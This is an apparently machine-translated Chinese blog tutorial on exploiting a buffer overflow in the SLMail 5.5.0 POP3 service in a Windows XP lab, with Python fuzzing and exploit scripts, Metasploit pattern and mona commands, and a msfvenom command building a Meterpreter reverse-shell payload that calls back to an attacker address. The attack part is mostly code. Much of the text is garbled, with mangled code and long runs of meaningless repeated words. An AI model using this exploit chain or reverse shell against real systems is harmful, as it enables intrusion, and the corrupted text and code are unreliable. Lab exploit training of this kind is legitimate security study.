利用缓冲区溢出漏洞进行渗透测试模拟攻击过程中(缓冲区溢出漏洞实验)

之前,我们介绍了一些漏洞扫描器。这些工具针对的是已经发现并公布的漏洞。只要安全工程师打补丁够狠,都可以轻松防护。
以下是如何找出未公布的漏洞。
首先,我们要知道计算机程序的漏洞是从哪里来的。恶的根源是程序中的变量,数据和代码边界不清往往会导致漏洞。
漏洞最简单的原理就是shell脚本漏洞。让我们编写一个只有一个echo命令的shell脚本:
a.sh
正常情况下,这个脚本的作用就是取什么参数,直接以字符串的形式输出:
./a.sh pwd
但是当输入一些特殊值时,输出结果与预期的不一致:
./a . sh;显示当前工作目录
脚本pwd作为系统命令执行,并输出当前目录地址。当然,不仅分号可以利用这个漏洞,管道符号(|)、和()也可以利用这个漏洞。
该漏洞或大多数漏洞是由于未能检查和过滤用户传入的参数而导致的。
缓冲区溢出缓冲区是内存的碎片。当缓冲区边界不严格时,缓冲区会因变量引入异常数据或程序而爆裂,从而覆盖相邻的内存数据。最终会修改内存数据,导致进程劫持、恶意代码执行、服务器控制等严重后果。
如何发现缓冲区溢出的漏洞?主要有以下几种方式:
审计逆向工程模糊测试源代码审计,首先你需要能接触到源代码。这个方法一般适用于你自己公司的项目,你是有权限的。
逆向工程主要是在没有获得源代码的情况下,通过反编译或者其他方法进行的。
模糊测试主要是配置一个测试环境,让程序在测试环境中运行,然后输入任意值来监控程序的内存变化和数据响应。总结一下步骤,情况是这样的:
程序将半随机数据输入堆栈,根据内存变化判断溢出;数据生成器:生成随机和半随机数据的测试工具:识别缓冲区溢出漏洞缓冲区溢出:SLMail 5.5.0邮件服务器在windows xp上有一个众所周知的案例。SL Mail 5 . 5 . 0版软件存在缓冲区溢出漏洞。不过现在基本上没人用这个版本的软件了,连安装包都很难找到。如果有同学想实践,可以私信我。我的本地计算机仍然有这个安装包。之后的Windows7、8、10都处理了这种漏洞。即使软件本身存在漏洞,系统也可以阻止他人利用这个漏洞。
准备:1。一架WindowsXP靶机和一架kali攻击机。
在目标机器上安装SLMail 5.5.0邮件服务器和ImmunityDebugger(这是一个动态调试工具。有些同学喜欢用OllyBG,也没什么问题。我就是因为电脑配置低,带不了OllyBG)。
检查目标机器上是否启动了SLMail的服务,可以通过netstat检查25端口是否打开;也可以在正在运行的弹出窗口中输入services.msc(快捷键win R)打开服务窗口,检查特定服务是否已经启动。
netstat -nao
services.msc
如果在检查上面的端口时发现该端口没有打开,可以检查防火墙是否打开,防火墙会关闭或过滤该端口。
如果无人机的环境准备好了,可以用攻击机直接连接无人机的110端口,直接用nc就行了,比如nc ip端口。连接后,可以输入两个命令,USER XXX和PASS XXX。输入PASS命令时会发生缓冲区溢出。
要判断模糊溢出位置,首先打开目标飞行器中的ImmunityDebugger,附加SLmail进程:
附加入口
选择SLmail。
单击菜单中的运行:
单击运行。
注意,此时的EIP寄存器是7C92E4F4,是ASCII码的十六进制。因为EIP寄存器的值代表了计算机要执行的下一条指令的内存地址,所以最终目的是将字符溢出到EIP寄存器中,并且要知道这四个字节在溢出字符中的位置。
EIP注册
用python 1.py编写一个模糊测试脚本:
#!/usr/bin/python 3 # coding=UTF-8 import socket buffer=[‘ A ‘]counter=100 while len(buffer)=50: buffer . append(‘ A ‘ * counter)counter=counter 200 for string in buffer : print(‘ Fuzzing PASS with % s bytes ‘ % len(string)]s=socket . socket(socket。AF_INET,socket。SOCK _ STREAM)s . connect((‘ 192 . 168 . 0 . 103 ‘,110))s . recv(1024)send=’ USER test \ r \ N ‘。encode(‘ UTF-8 ‘)s . send(send)s . recv(1024)send=’ pass ‘ string ‘ \ r \ n ‘ s . send(send . encode(‘ UTF-8 ‘))s . send(‘ quit \ r当PASS命令的传输长度达到2900字节时,连接无法继续,说明无人机上的服务已经崩溃。
停留并执行2900字节。
回到无人机上,查看ImmunityDebugger中的EIP寄存器,发现已经填充了41414141,其中41是字母A的ASCII码,是十六进制的。此时,已发生缓冲区溢出,溢出字符少于2900字节。
EIP注册
准确确定溢出的位置。接下来,准确找出溢出的位置。进入无人机中services.msc的服务窗口,重启服务。使用ImmunityDebugger附加SLmail并运行它。
在攻击机上生成一个长度为2900字节的唯一字符串,这样当再次发生溢出时,可以通过查看EIP被占用的字符串来准确定位溢出字符的位置。这个2900字节的字符串最好由工具直接生成,例如MSF的工具:
./pattern_create.rb -l 2900
修改前面的python脚本,并将其保存为2.py:
#!/usr/bin/python 3 #编码=utf-8导入套接字=套接字.套接字(套接字)。AF_INET套接字. sock _ stream #哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟字符串=’ aa 0 aa 1 aa 2 aa 3 aa 4 aa 5 aa 6 aa 7 aa 8 aa 9 ab 0 ab 1 ab 2 ab 3 ab 4 ab 5 ab 6 ab 7 ab 8 ab 9 AC 0 AC 2 AC 3 AC 4 AC 5 AC 7 AC 8 ad 9 ad 0 ad 2 ad 3 ad 4 ad 5 ad 8 ad 8 ad 9 ad 9 AE 0 AE 2 AE 3 AE 4 AE 5 AE 6 AE 8 AE 9 af 0 af 1 af 3 af 4 af 5 af 6 af 8 af 9 ag 0 ag)s . connect((‘ 192 . 168 . 0 . 103 ‘,110))s . recv(1024)send=’ user test \ r \ n ‘ . enco(‘ utf-8 ‘)s . send(send)s . recv(1024)send=’ pass ‘ string ‘ \ r \ n ‘ s . send(send。enco(‘ utf-8 ‘)打印(‘ n ne!’)除:打印(‘无法连接到POP3!’)唉哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟2.py哎哎哎,你好阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉阿吉,哎哎哎哎哎哎伊普是云娥396994438:
伊普是云娥
我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,唉呀美国信息交换标准代码码阿巧38 44 69 39,阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔阿叔9个中的8个,你是说.美国信息交换标准代码码你是谁,哎,你这小娘们儿,你这小娘们儿,你这小娘们儿,你这小娘们儿,你这小娘们儿,你这小娘们儿,你这小娘们儿,你这小娘们儿美国信息交换标准代码码你好吗,苏里南苏里南苏里南:
哎哎哎哎哎美国信息交换标准代码码你是谁
嘿嘿嘿嘿嘿嘿无国界医生组织朱建文朱建文,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨,嗨:/pattern _ offset。Rb-q8(共9个)
1740年2606年,范龙佩和范龙佩2606云娥,拜仁拜仁拜仁拜仁拜仁2607云娥,你好2607、2608、2609你好2610年。
如果您不信任该结果,也可以通过以下脚本再次验证它:
#!/usr/bin/python 3 import socket s=socket . socket(socket。AF_INET,socket。SOCK _ STREAM)buffer=’ A ‘ * 2606 ‘ B ‘ * 4 ‘ C ‘ * 20 try : print(‘ \ n sending evil buffer . ‘)s.connect((‘192.168.0.103 ‘,110)) data=s.recv(1024) s.send(‘用户测试\r\ n ‘。encode(‘ utf-8 ‘))data=s . recv(1024)s . send((‘ PASS ‘ buffer ‘ \ r \ n ‘)。编码(‘ utf-8 ‘))打印(‘ \ n完成!’)except: print(‘无法连接到POP3!’)执行上述脚本后,您应该能够看到四个B的ASCII代码是EIP的十六进制值:
EIP注册
判断shellcode空间的大小,下一步就是计算存储shellcode的内存空间。重启SLmail服务后,用上面的2900字节执行下面的脚本,在ImmunityDebugger中找到ESP(不一定是ESP,只要能找到固定的空间存储shell代码,知道内存地址就行),在Dump中右键点击Follow:
跟随转储
您可以看到存储唯一字符串的ESP地址,找到最后四个字符,并记下其对应的十六进制数:73354473。反过来(有存储和读取机制):73443573。
电动选择型
使用MSF工具找到这四个字符:
./pattern_offset.rb -q s5Ds
发现它前面有2896个字节,加上最后4个字节,再排除EBP和EIP占用的2610个字节,那么ESP的可用内存有290个字节。
找出ESP的可用空间,然后这些空间可以用来存储外壳代码。
找出影响外壳代码的不良字符。有些字符不能存储在内存中。不同类型的程序、协议、漏洞会把一些字符当成坏字符,坏字符通常会截断后面的字符。例如:
空字节(0x00)是一个空字符,用于终止字符串复制操作。return (0x0D)是回车操作,表示POP3 PASS命令输入完成。解决方法:发送256个字符0x00-0xff,逐个删除和截断后面的字符,从而确定哪些字符不可用。
#!/usr/bin/python 3 import socket s=socket . socket(socket。AF_INET,socket。SOCK _ STREAM)bad chars=(‘ \ x01 \ x02 \ x03 \ x04 \ x05 \ x06 \ x07 \ x08 \ x09 \ x0b \ x0c \ x0d \ x0e \ x0f \ x0f ‘ ‘ \ X11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f \ X10 ‘ ‘ \ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x16)s.connect((‘192.168.0.103 ‘,110)) data=s.recv(1024) s.send(‘用户测试\r\n ‘。encode(‘ utf-8 ‘))data=s . recv(1024)s . send((‘ PASS ‘ buffer ‘ \ r \ n ‘)。编码(‘ utf-8 ‘))打印(‘ \ n完成!’)except: print(‘无法连接到POP3!’)执行脚本后,您可以看到:
电动选择型
脚本中09之后传x0a,存款结果明显异常,可能是x0a有问题。替换脚本中的x0a并再次执行它:
电动选择型
可以看到,x0d缺失,x0f之后的值不是预期的00。替换x00,通过这个循环可以得到所有坏字符:x0a,x0d,x00。
要找到一个稳定的重定向到ESP的方法,下一步就是重定向数据流,将ESP的地址存储在EIP,让程序自动运行到存储在ESP中的shellcode。但是ESP的地址是可变的,不允许硬编码。在SLMali线程应用中,操作系统给每个线程分配一段地址范围,每个线程的地址范围是不确定的。
所以在这里我们需要改变我们的想法。简单来说,我们需要在系统中找到一个固定的地址,将这个地址存储在EIP,在这个地址中执行跳转到ESP的指令,最后执行shellcode。Mona.py脚本可以用来识别内存模块,搜索“返回地址”是JMP ESP指令的模块。
!mona模块
要求前4个选项为假,最后一个为真。只有三个或四个,但只有slmfc.dll模块包含jmp esp。
!蒙娜丽莎slmfc.dll
其中\xff\xe4是汇编语言的jmp esp,可以用kali工具翻译:/nasm_shell.rb
您需要添加\x来输入十六进制。然后用第一个作为jmpsep。
双击您要查找的第一个jmp esp,您可以看到地址是5F4A358F:
第一个jmpsep
在此jmpsep上设置断点:
设置断点
执行以下脚本:
#!/usr/bin/python 3 import socket s=socket . socket(socket。AF_INET,socket。SOCK _ STREAM)buffer=’ A ‘ * 2606 ‘ \ x8f \ x35 \ x4a \ x5f ‘ ‘ C ‘ * 900 try : print(‘ \ n sending evil buffer . ‘)s.connect((‘192.168.0.103 ‘,110)) data=s.recv(1024) s.send(‘用户测试\r\ n ‘。encode(‘ utf-8 ‘))data=s . recv(1024)s . send((‘ PASS ‘ buffer ‘ \ r \ n ‘)。编码(‘ utf-8 ‘))打印(‘ \ n完成!’)except: print(‘无法连接到POP3!’)脚本执行后,ImmunityDebugger底部会有提示,已经执行到断点了。此时,请按F7键来浏览:
分步执行
大家可以看到,已经跳到esp了,里面的43是c。
shellcodekali的构造中有一个工具msfvenom可以用来生成shellcode,其中shellcode相当于一个病毒。
向前开后门基本消除,反方向开后门:
msfvenom -a x86平台Windows-p Windows/meter preter/reverse _ TCP LHOST=192 . 168 . 0 . 102 LPORT=4444-f c
使用获取的外壳代码编写攻击脚本:
#!/usr/bin/python 3导入套接字s=插座.插座.AF_INET套接字sock _ stream)外壳代码=(‘ \ xfc \ xe 8 \ x8f \ x0 \ x0 \ X60 \ x31 \ xd2 \ x64 \ x8b \ x52 \ x30 \ x8b \ x52 \ x8b \ x59 \ x8b \ x82 \ x82 \ x89 \ xe5 \ x8b \ x82 \ x82 \ x81 \ xff \ x0 \ xb7 \ x4a \ x26 ‘ ‘ \ x32 \ xc 0 \ xac)s . connect(‘ 192。168 .0 .103 ‘,110))data=s . recv(1024)s . send(‘用户测试\ r \ n ‘).enco(‘ utf-8 ‘)data=s . recv(1024)s . send(‘ pass ‘ buffer ‘ \ r \ n ‘).编码(“utf-8”)打印(” \ n! “)除:打印(‘无法连接到POP3!)-什么\ X80云娥不,不,什么事,我的天啊外壳代码(外壳代码)你好-你好。
哦,天啊卡里nc(消歧义)你好吗4444你好,朱塞佩朱塞佩朱塞佩,我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊!我的天啊贝壳(贝壳)云娥,你好你好,你好吗?你好吗,朱庇特朱庇特朱庇特。

其他教程

早上打开手机,一串串铃声一遍又一遍响起!来自初升太阳的信息会给你一个快乐的开始。

2022-8-22 3:05:27

其他教程

adobe国际认证视频设计专家证书有用吗(adobe中国认证设计师怎么考)

2022-8-22 3:07:38

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索